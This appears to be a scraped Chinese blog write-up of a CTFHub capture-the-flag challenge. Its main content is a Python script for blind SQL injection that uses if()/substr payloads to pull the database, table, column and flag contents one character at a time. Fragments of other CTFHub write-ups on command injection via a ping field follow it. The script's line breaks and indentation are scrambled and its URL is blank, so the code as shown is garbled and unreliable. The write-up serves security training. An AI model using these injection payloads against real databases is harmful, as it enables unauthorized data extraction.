開啟靶機
檢視頁面資訊
開始試驗,檢視返回資訊
此題存在乙個問題,如果沒有資料,也是返回query_success
如此一來,就無法使用and組合進行注入,在看了其他大佬的解題過程後,知道了可以使用「if()」進行注入
if(expr1,expr2,expr3),如果expr1的值為true,則執行expr2語句,如果expr1的值為false,則執行expr3語句。於是根據該文章提示,寫出如下指令碼
#具體實驗如下! /usr/bin/env python
#_*_ coding:utf-8 _*_
import
requests
import
syssession=requests.session()
url = "
"name = ""
#for k in range(1,10):
#for i in range(1,10):
#print(i)
#for j in range(31,128):
#j = (128+31) -j
#str_ascii=chr(j)
##資料庫名
##payolad = "if(substr(database(),%s,1) = '%s',1,(select table_name from information_schema.tables))"%(str(i),str(str_ascii))
##表名
##payolad = "if(substr((select table_name from information_schema.tables where table_schema='sqli' limit %d,1),%d,1) = '%s',1,(select table_name from information_schema.tables))" %(k,i,str(str_ascii))
##欄位名
#payolad = "if(substr((select column_name from information_schema.columns where table_name='flag' and table_schema='sqli'),%d,1) = '%s',1,(select table_name from information_schema.tables))" %(i,str(str_ascii))
#str_get = session.get(url=url + payolad).text
#if "query_success" in str_get:
#if str_ascii=="+":
#sys.exit()
#else:
#name+=str_ascii
#break
#print(name)
#查詢字段內容
for i in range(1,50):
(i)
for j in range(31,128):
j = (128+31) -j
str_ascii=chr(j)
payolad = "
if(substr((select flag from sqli.flag),%d,1) = '%s',1,(select table_name from information_schema.tables))
" %(i,str_ascii)
str_get = session.get(url=url +payolad).text
if"query_success"in
str_get:
if str_ascii == "+"
: sys.exit()
else
: name +=str_ascii
break
print(name)
查詢資料庫名
查詢表名
查詢欄位名
查詢字段資訊
成功拿到flag
指令碼寫的過程中用了多次迴圈,每次迴圈都會傳送乙個get請求,所以可能會報錯,無法繼續執行,如果遇到這種情況,請重新執行指令碼
報錯內容如下(技藝不精)
如果一直報錯無法得到正確答案建議分多組執行
更改(for i in range(1,50))為(for i in range(1,30),for i in range(25,50))
如果還是不行就再多分一組
CTFHub 技能樹 命令注入 無過濾
進入頁面後給出的原始碼,題目要求輸入ip位址執行ping命令 res false if isset get ip get ip exec cmd res doctype html ctfhub 命令注入 無過濾 title head h1 由於沒有採用過濾,所以我們直接進行拼接,輸入192.168....
ctfhub技能樹 彩蛋
彩蛋題建議大家首先自己動手去找一找 做 好 準 備 後 再 看 下 文 使用網域名稱查詢工具查詢子網域名稱 隨便開啟乙個題目,抓包 在url中間新增換行或空格,再放包,即可拿到flag 在writeup裡搜尋egg即可拿到flag 在工具裡搜尋egg,即可拿到flag flag就在鏈結裡 乙個套路 ...
CTFHub 技能樹 命令執行
目錄給了原始碼 關鍵 res false if isset get ip get ip 執行命令,可以拼接 exec cmd,res 執行cmd,把結果輸出到res if res show source file 根據第五行 這裡直接拼接就行 看到有乙個php檔案,8061098418328.php...